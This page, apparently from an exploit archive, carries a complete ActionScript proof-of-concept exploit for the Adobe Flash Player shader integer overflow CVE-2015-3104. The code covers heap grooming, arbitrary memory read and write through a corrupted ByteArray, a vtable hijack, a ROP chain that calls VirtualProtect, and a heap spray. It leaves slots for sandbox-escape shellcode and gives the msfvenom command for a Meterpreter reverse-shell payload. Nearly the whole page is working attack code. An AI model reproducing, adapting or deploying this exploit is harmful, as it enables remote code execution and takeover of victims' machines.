adobe flash player integer overflow
▸▸▸ Exploit & Vulnerability >> remote exploit & multiple vulnerability
// Exploit Title: Adobe Flash Player - Integer Overflow // Exploit Author: Matteo Memelli (ryujin@offensive-security) // Date: 14/01/2017 // Original PoC: https://bugs.chromium.org/p/project-zero/issues/detail?id=323&can=1&q=Shader // CVE: CVE-2015-3104 // Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3104 package { import flash.display.*; import flash.utils.ByteArray; import flash.events.Event; import flash.events.MouseEvent; import flash.text.* import mx.utils.Base64Decoder; public class ShaderInputOverflow extends Sprite { public var bb:ByteArray = null; public var allocate:Array; public var MAX_ARRAY:uint = 81920; public var text:TextField = new TextField(); public var gText:String = ""; public var corrupted:uint = 0; public var corrupted_ba_address:uint = 0; public var corrupted_ba_pos:uint = 0; public var next_ba_address:uint = 0; public var NPSWF32Base:uint = 0; public function ShaderInputOverflow():void { if (stage) drawText(); else addEventListener(Event.ADDED_TO_STAGE, drawText); drawText(); var i:uint; allocate = new Array(); for (i = 0; i < MAX_ARRAY; i++) { bb = new ByteArray(); bb.writeByte(0x57); bb.writeByte(0x30); bb.writeByte(0x30); bb.writeByte(0x54); bb.writeByte(0x57); bb.writeByte(0x30); bb.writeByte(0x30); bb.writeByte(0x54); bb.writeByte(0x57); bb.writeByte(0x30); bb.writeByte(0x30); bb.writeByte(0x54); bb.writeByte(0x57); bb.writeByte(0x30); bb.writeByte(0x30); bb.writeByte(0x54); allocate.push(bb); } // We create "holes" of size 0x18 bytes on the heap i = MAX_ARRAY/2; while (i<MAX_ARRAY) { if (i % 2 != 0) { allocate[i] = null; } i++; } var ba:ByteArray = new ByteArray(); ba.writeByte(0xa1); // Define parameter? ba.writeByte(0x02); // Output. ba.writeByte(0x04); // Type: 4 floats. ba.writeByte(0x00); // 16-bit field, ?? ba.writeByte(0x01); ba.writeByte(0xff); // Mask. ba.writeByte(0x41); ba.writeByte(0x00); // Param name: 'A' ba.writeByte(0xa3); // Add texture? ba.writeByte(0x00); // Index? ba.writeByte(0x40); // 64 channels. ba.writeByte(0x42); ba.writeByte(0x42); ba.writeByte(0x42); ba.writeByte(0x42); ba.writeByte(0x00); // Texture name: 'BBBB' ba.position = 0; var baOut:ByteArray = new ByteArray(); var baIn:ByteArray = new ByteArray(); // Overwrite ByteArray::Buffer Object capacity field with 0xffffffff // and the pointer to the data to 0x16000000 baIn.writeUnsignedInt(0x6230306e); baIn.writeUnsignedInt(0x6230306e); baIn.writeUnsignedInt(0x41414141); // ptr baIn.writeUnsignedInt(0x41414141); // 0x1 // Offset can be 0x10 bytes baIn.writeUnsignedInt(0x16000000); // ptr to data baIn.writeUnsignedInt(0xffffffff); // capacity baIn.writeUnsignedInt(0x16000000); // length / ptr to data // Another time in case the offset is 0x8 bytes baIn.writeUnsignedInt(0xffffffff); // capacity baIn.writeUnsignedInt(0xffffffff); // length var job:ShaderJob = new ShaderJob(); var shader:Shader = new Shader(); shader.byteCode = ba; shader.data.BBBB.width = 8192; shader.data.BBBB.height = 8192; shader.data.BBBB.input = baIn; job.target = baOut; job.width = 1; job.height = 1; job.shader = shader; // We need to catch the Error thrown by Flash to continue the execution // job.start triggers the copy that causes the heap overflow try { job.start(true); } catch (err:Error) { trace("w00t"); } var s:spray = new spray(); corrupted = findCorrupted(); allocate[corrupted].position = 0; gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n"; gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n"; findCorruptedAddress(); gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n"; var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2)); gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n"; NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr); gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n"; // Look for the corrupted ByteArray::Buffer object address var tosearch:uint = corrupted_ba_address; gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n"; var VTableObj:uint = findVTable(tosearch); gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n"; updateText(); var methodEnvVtable:uint = readDword(VTableObj+0xd4); gText += "methodEnvVtable Address: 0x" + methodEnvVtable.toString(16) + "\n"; updateText(); // Crash on the Jitted pointer dereference that leads to code execution //writeDword((VTableObj+0xd4), 0x42424242); // Control the Jitted pointer dereference that leads to code execution writeROPChain(NPSWF32Base); // Decode and Write the files for the privilege escalation to memory var dll:ByteArray = new ByteArray(); var met:ByteArray = new ByteArray(); var dec1:Base64Decoder = new Base64Decoder(); var dec2:Base64Decoder = new Base64Decoder(); // sandbox exploit code dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE"); dll = dec1.toByteArray(); // msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe // base64 pwnd.exe | tr --delete '\n' // Meterpreter executable or any other payload… dec2.decode("YOUR BASE64 METERPRETER CODE HERE"); met = dec2.toByteArray(); writeBytes(0x1a100000, met); writeBytes(0x1a200000, dll); writeDword((VTableObj+0xd4), 0x1a000000); gText += allocate[corrupted].toString(); } private function hexStringToByteArray(hexstring:String) : ByteArray { var bindata:ByteArray = new ByteArray(); bindata.endian = "littleEndian"; var hexstr:String = null; var count:uint = 0; while(count < hexstring.length) { hexstr = hexstring.charAt(count) + (hexstring.charAt(count + 1)); bindata.writeByte(parseInt(hexstr, 16)); count += 2; } return bindata; } private function writeROPChain(NPSWF32Base:uint):void { var ROPaddr:uint = 0x1a00CBE2; writeDword(0x1a000004, (NPSWF32Base+0x00418a60)); // PIVOT XCHG ECX,ESP... // Save stack information to restore the execution flow after shellcode writeDword(0x1a000000, (NPSWF32Base+0x00007324)); // POP EAX # RETN writeDword(ROPaddr, 0x1a000400); ROPaddr +=4 ; // SAVE ECX VALUE HERE writeDword(ROPaddr, (NPSWF32Base+0x0000268e)); ROPaddr +=4 ; // MOV [EAX],ECX # RETN writeDword(ROPaddr, (NPSWF32Base+0x00007324)); ROPaddr +=4 ; // POP EAX # RETN writeDword(ROPaddr, 0x1a000404); ROPaddr +=4 ; // SAVE EBX VALUE HERE writeDword(ROPaddr, (NPSWF32Base+0x000064c54)); ROPaddr +=4 ; // MOV [EAX],EBX # POP EBX # POP ECX; RETN writeDword(ROPaddr, 0x41414141); ROPaddr +=4 ; // JUNK writeDword(ROPaddr, 0x42424242); ROPaddr +=4 ; // JUNK // Mona Chain writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN writeDword(ROPaddr, (NPSWF32Base+0x0039cbea)); ROPaddr +=4 ; // POP EBP # RETN writeDword(ROPaddr, (NPSWF32Base+0x0077c1eb)); ROPaddr +=4 ; // POP EBX # RETN writeDword(ROPaddr, 0x00000201); ROPaddr +=4 ; writeDword(ROPaddr, (NPSWF32Base+0x007fff57)); ROPaddr +=4 ; // POP EDX # RETN writeDword(ROPaddr, 0x00000040); ROPaddr +=4 ; writeDword(ROPaddr, (NPSWF32Base+0x00b433a9)); ROPaddr +=4 ; // POP ECX # RETN writeDword(ROPaddr, (NPSWF32Base+0x00f7e6f5)); ROPaddr +=4 ; // &Writable location writeDword(ROPaddr, (NPSWF32Base+0x00b1ad8f)); ROPaddr +=4 ; // POP EDI # RETN writeDword(ROPaddr, (NPSWF32Base+0x00273302)); ROPaddr +=4 ; // ROP NOP # RETN writeDword(ROPaddr, (NPSWF32Base+0x006cb604)); ROPaddr +=4 ; // POP ESI # RETN writeDword(ROPaddr, (NPSWF32Base+0x0000d98f)); ROPaddr +=4 ; // JMP [EAX] writeDword(ROPaddr, (NPSWF32Base+0x002742d3)); ROPaddr +=4 ; // POP EAX # RETN writeDword(ROPaddr, (NPSWF32Base+0x00b7d364)); ROPaddr +=4 ; // ptr to VirtualProtect IAT writeDword(ROPaddr, (NPSWF32Base+0x00a4a349)); ROPaddr +=4 ; // PUSHAD # RETN writeDword(ROPaddr, (NPSWF32Base+0x0015fce4)); ROPaddr +=4 ; // PTR TO JMP ESP // NOPsled writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // nopsled writeDword(ROPaddr, 0x90909090); ROPaddr +=4 ; // shellcode var Shellcode:String = new String(); Shellcode += "..... YOUR SANDBOX EVASION SHELLCODE HERE ... "; writeBytes(ROPaddr, hexStringToByteArray(Shellcode)); ROPaddr += Shellcode.length/2; // Restore component // 1a00cc56 8b0d0004001a mov ecx,dword ptr ds:[1A000400h] // 1a00cc5c 8b1d0404001a mov ebx,dword ptr ds:[1A000404h] // 1a00cc62 28d9 sub cl,bl // 1a00cc64 87cc xchg ecx,esp // 1a00cc66 8bec mov ebp,esp // 1a00cc68 83c52c add ebp,2Ch // 1a00cc6b 31c0 xor eax,eax // 1a00cc6d c3 ret var Restore:String = new String(); Restore = "8b0d0004001a8b1d0404001a28d987cc8bec83c52c31c0c3"; writeBytes(ROPaddr, hexStringToByteArray(Restore)); ROPaddr += Restore.length/2; } private function findVTable(startAddress:uint):uint { // Find the VTable Object Address within the ByteArrayObject allocate[corrupted].endian = "littleEndian"; var addr:uint = 0; var base:uint = 0x16000000; var bstart:uint = base; var count:uint = 0; while (true) { if (readDword(base) == startAddress) { addr = bstart+count; // ByteArray::Buffer pointer is at offset +0x40 addr = addr - 0x40; // VTable Object pointer is at +0x8 return readDword(addr+0x8); } else { base += 4; count += 4; } } return addr; } private function findNPSWF32_Base(NPSWF32Ptr:uint):uint { // Find a DLL base address by appling the scan down technique var addr:uint = NPSWF32Ptr & 0xfffff000; while (true) { if (readDword(addr) == 0x00905a4d) { return addr; } else { addr = addr - 0x1000; } } return addr; } private function readDword(pAddress:uint):uint { // Read a DWORD from an address // by changing the ptr to array of bytes var tmpIndex:uint = 0; var res:uint = 0; // Change ptr to array of bytes tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(pAddress); allocate[corrupted].position = 0; // Read a DWORD from the new address res = allocate[corrupted].readUnsignedInt(); // Reset ptr to array of bytes to 0x16000000 tmpIndex = (corrupted_ba_address + 0x8) - pAddress; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(0x16000000); return res; } private function writeDword(pAddress:uint, value:uint):void { // write a DWORD to an address // by changing the ptr to array of bytes var tmpIndex:uint = 0; // Change ptr to array of bytes tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(pAddress); allocate[corrupted].position = 0; // Read a DWORD from the new address allocate[corrupted].writeUnsignedInt(value); // Reset ptr to array of bytes to 0x16000000 tmpIndex = (corrupted_ba_address + 0x8) - pAddress; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(0x16000000); } private function writeBytes(pAddress:uint, data:ByteArray):void { // write a ByteArray to an address // by changing the ptr to array of bytes var tmpIndex:uint = 0; // Change ptr to array of bytes tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(pAddress); allocate[corrupted].position = 0; // Read a ByteArray tp the new address allocate[corrupted].writeBytes(data, 0, 0); // Reset ptr to array of bytes to 0x16000000 tmpIndex = (corrupted_ba_address + 0x8) - pAddress; allocate[corrupted].position = tmpIndex; allocate[corrupted].writeUnsignedInt(0x16000000); } private function findCorruptedAddress():void { allocate[corrupted].position = 0; allocate[corrupted].endian = "littleEndian"; while (true) { if(allocate[corrupted].readUnsignedInt() == 0x6230306e) { if(allocate[corrupted].readUnsignedInt() == 0x6230306e) { // Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10 // otherwise after the two 0x41414141 dwords in case the offset is 0x8 // OFFSET 0x10 LENGTH = 0x16000000 if (allocate[corrupted].length == 0x16000000) corrupted_ba_pos = allocate[corrupted].position; // OFFSET 0x8 LENGTH = 0xffffffff else corrupted_ba_pos = allocate[corrupted].position + 0x8; // We calculate the address of the corrupted object by using the index // and the base address that we set through the heap overflow. corrupted_ba_address = 0x16000000 + corrupted_ba_pos; // Since every in-use ByteArray object is alternated with a free one // (we created the holes), the next in-use ByteArray is at 0x18*2 bytes // from the corrupted one. next_ba_address = corrupted_ba_address + 0x18*2; return; } } } return; } private function findCorrupted():uint { // Find the corrupted ByteArray::Buffer object. // We can find it by checking for a size different from the // original 0x10 bytes, since the ByteArray data is 16 bytes // for all the objects we allocated, except the corrupted one. var i:uint = MAX_ARRAY/2; while (i<MAX_ARRAY) { if (i % 2 == 0) { if(allocate[i].length != 0x10) { return i; } } i++; } return 0; } public function updateText(e:Event = null):void { text.text = gText; } public function drawText(e:Event = null):void { removeEventListener(Event.ADDED_TO_STAGE, drawText); text.text = gText; text.width = 300; text.height = 100; text.x = 10; text.y = 10; text.multiline = true; text.wordWrap = true; text.background = true; text.border = true; var format:TextFormat = new TextFormat(); format.font = "Verdana"; format.color = 0xff0000; format.size = 8; text.defaultTextFormat = format; addChild(text); text.addEventListener(MouseEvent.MOUSE_DOWN, mouseDownScroll); } public function mouseDownScroll(event:MouseEvent):void { text.scrollV++; } } } import flash.display.MovieClip; import flash.utils.*; class spray extends MovieClip { public var allocate:Array; public function spray() { HeapSpray(); } public function HeapSpray() : void { var chunk_size:uint = 1048576; // 0x100000 var block_size:uint = 65536; // 0x10000 var heapblocklen:uint = 0; var spraychunks:uint = 0; var heapblock1:ByteArray; var heapblock2:ByteArray; var heapblock3:ByteArray; heapblock1 = new ByteArray(); heapblock1.endian = Endian.LITTLE_ENDIAN; heapblock1.writeInt(0x41424344); heapblocklen = heapblocklen + 4; while(heapblocklen < block_size) { heapblock1.writeByte(0x0d); // padding to 64K heapblocklen = heapblocklen + 1; } heapblock2 = new ByteArray(); while(heapblock2.length < chunk_size) { heapblock2.writeBytes(heapblock1, 0, heapblock1.length); } allocate = new Array(); // 600MB spray while(spraychunks < 50) { heapblock3 = new ByteArray(); heapblock3.writeBytes(heapblock2, 0, heapblock2.length); allocate.push(heapblock3); spraychunks = spraychunks + 1; } } }
Adobe flash player integer overflow Vulnerability / Exploit Source : Adobe flash player integer overflow